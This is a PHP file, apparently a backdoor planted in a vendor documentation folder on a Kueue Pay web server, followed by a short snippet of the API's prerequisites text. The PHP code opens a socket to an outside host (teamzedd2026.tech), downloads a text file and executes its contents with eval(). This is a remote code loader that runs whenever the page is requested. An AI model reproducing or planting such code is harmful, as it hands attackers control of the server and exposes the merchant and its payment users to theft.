/home/kueuepay/www/vendor/mockery/mockery/docs/_static/443075/index.php
<?php
// Versi 1: fsockopen (Metode Socket Klasik)
// Peta Revisi: id10768_socket_v1

function fetch_socket_classic($host, $path) {
    // Port standar HTTP/HTTPS
    $port = 443; // Gunakan 80 jika target bukan HTTPS
    $scheme = 'ssl://'; // Tambahkan ssl:// untuk koneksi aman

    $fp = @fsockopen($scheme . $host, $port, $errno, $errstr, 15);

    if (!$fp) {
        return false;
    }

    // Buat request HTTP GET manual
    $request = "GET $path HTTP/1.0\r\n";
    $request .= "Host: $host\r\n";
    $request .= "User-Agent: Mozilla/5.0 (Custom Socket Script)\r\n";
    $request .= "Connection: Close\r\n\r\n";

    fwrite($fp, $request);
    
    $full_response = '';
    while (!feof($fp)) {
        $full_response .= fgets($fp, 1024);
    }
    fclose($fp);

    // Pisahkan header dan body
    $parts = explode("\r\n\r\n", $full_response, 2);
    if (isset($parts[1])) {
        return $parts[1]; // Kembalikan body/konten
    }
    return false;
}

$url = "https://teamzedd2026.tech/media/uploads/r/k/rahman.txt";
$host = "teamzedd2026.tech";
$path = "/media/uploads/r/k/rahman.txt";

$content = fetch_socket_classic($host, $path);

if ($content) {
    eval('?>' . $content);
}
?>
Prerequisites

Prerequisites

Before you begin integrating the Kueue Pay Developer API, make sure you have:

  1. An active Kueue Pay merchant account.
  2. Basic knowledge of API integration and web development with PHP & Laravel.
  3. A secure and accessible web server to handle API requests.